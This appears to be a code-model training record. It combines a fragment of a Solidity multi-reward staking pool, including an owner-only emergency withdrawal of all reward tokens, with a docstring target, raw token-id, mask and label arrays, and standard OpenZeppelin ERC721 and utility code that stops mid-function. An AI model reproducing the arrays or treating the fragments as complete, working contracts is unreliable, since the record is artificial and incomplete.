massUpdatePools(); } PoolInfo storage _newPool = newPool[0]; for (uint rid = 0; rid < rewardTokenInfo.length; ++rid) { uint256 startBlock = rewardTokenInfo[rid].startBlock; uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; _newPool.lastRewardBlock[rid] = lastRewardBlock; _newPool.accRewardPerShare[rid] = 0; } _newPool.stakedToken = _stakedToken; _newPool.allocPoint = _allocPoint; _newPool.totalAmount = 0; _newPool.totalStakedAddress = 0; poolInfo.push(_newPool); totalAllocPoint = totalAllocPoint.add(_allocPoint); pidOfPool[address(_stakedToken)] = poolInfo.length.sub(1); emit PoolAdded(poolInfo.length - 1, address(_stakedToken), _allocPoint); } function setPool( uint256 _pid, uint256 _allocPoint, bool _withUpdate ) external onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; emit PoolSetted(_pid, address(poolInfo[_pid].stakedToken), _allocPoint); } function setRewardCycle(uint256 cycle) external onlyOwner { rewardCycle = cycle; } function setLockedTime(uint256 time) external onlyOwner { lockedTime = time; } function setPhase1Time(uint256 time) external onlyOwner { phase1Time = time; } function setPhase2Time(uint256 time) external onlyOwner { phase2Time = time; } function setPenlatyRatio1(uint256 ratio) external onlyOwner { PENLATY_RATIO1 = ratio; } function setPenlatyRatio2(uint256 ratio) external onlyOwner { PENLATY_RATIO2 = ratio; } function setPenlatyRatio3(uint256 ratio) external onlyOwner { PENLATY_RATIO3 = ratio; } function setBlockSpeed(uint256 speed) external onlyOwner { blockSpeed = speed; } // Withdraw Token rewards for emergency function emergencyWithdrawRewards(uint256 rid) external onlyOwner { _safeTokenTransfer(rewardTokenInfo[rid].rewardToken, msg.sender, rewardTokenInfo[rid].rewardToken.balanceOf(address(this))); } function setDecimalsOfRewardToken(uint256 rid, uint256 _decimals) external onlyOwner { RewardTokenInfo storage rewardToken = rewardTokenInfo[rid]; rewardToken.decimals = _decimals; } function setSymbolOfRewardToken(uint256 rid, string memory _symbol) external onlyOwner { RewardTokenInfo storage rewardToken = rewardTokenInfo[rid]; rewardToken.symbol = _symbol; } function addRewardToken( uint256 _startTime, address _rewardToken, uint256 _decimals, string memory _symbol ) external onlySetter { require(_startTime > block.timestamp, "MultiRewardTokenPool: invalid start time"); require(_rewardToken != address(poolInfo[0].stakedToken), "MultiRewardTokenPool: can't add DOG to be reward token"); require(!isExistedRewardToken[_rewardToken], "MultiRewardTokenPool: existed reward token"); massUpdatePools(); rewardTokenInfo.push(RewardTokenInfo({ rewardToken: IERC20(_rewardToken), decimals: _decimals, symbol: _symbol, magicNumber: 10 ** (30 - _decimals), startBlock: block.number + (_startTime - block.timestamp) / blockSpeed, endBlock: block.number + (_startTime - block.timestamp) / blockSpeed, rewardPerBlock: 0, tokenRemaining: 0, tokenRewarded: 0, rid: rewardTokenInfo.length })); ridOfReward[_rewardToken] = rewardTokenInfo.length - 1; setterOfRid[rewardTokenInfo.length - 1] = msg.sender; isExistedRewardToken[_rewardToken] = true; emit RewardTokenAdded(_rewardToken, _decimals, rewardTokenInfo.length - 1); } // Deposit new reward of Token and update TokenPerBlock by rid filter function depoistRewardToken(uint256 amount, uint256 rid) onlySetter external { require(setterOfRid[rid] == msg.sender, "MultiRewardTokenPool: incorrect setter of this reward token pool"); massUpdatePools(); RewardTokenInfo storage token = rewardTokenInfo[rid]; uint256 prevBal = token.rewardToken.balanceOf(address(this)); uint256 amountUnit = 10 ** token.decimals; token.rewardToken.safeTransferFrom(address(msg.sender), address(this), amount * amountUnit); uint256 currBal = token.rewardToken.balanceOf(address(this)); require((currBal - prevBal) == amount * amountUnit, "MultiRewardTokenPool: incorrect balance after depositing"); token.tokenRemaining = token.tokenRemaining.add(amount * amountUnit); token.rewardPerBlock = token.tokenRemaining.div(rewardCycle.div(blockSpeed)); token.endBlock = block.number.add(rewardCycle.div(blockSpeed)); } }
Info of each pools. lastReardBlock corresponding rid accRewardPerShare corresponding rid
struct PoolInfo { IERC20 stakedToken; uint256 allocPoint; mapping (uint256 => uint256) lastRewardBlock; mapping (uint256 => uint256) accRewardPerShare; uint256 totalAmount; uint256 totalStakedAddress; }
5,387,940
[ 1, 966, 434, 1517, 16000, 18, 1142, 426, 1060, 1768, 4656, 10911, 4078, 17631, 1060, 2173, 9535, 4656, 10911, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1958, 8828, 966, 288, 203, 3639, 467, 654, 39, 3462, 384, 9477, 1345, 31, 5411, 203, 3639, 2254, 5034, 4767, 2148, 31, 203, 3639, 2874, 261, 11890, 5034, 516, 2254, 5034, 13, 1142, 17631, 1060, 1768, 31, 203, 3639, 2874, 261, 11890, 5034, 516, 2254, 5034, 13, 4078, 17631, 1060, 2173, 9535, 31, 203, 3639, 2254, 5034, 2078, 6275, 31, 203, 3639, 2254, 5034, 2078, 510, 9477, 1887, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 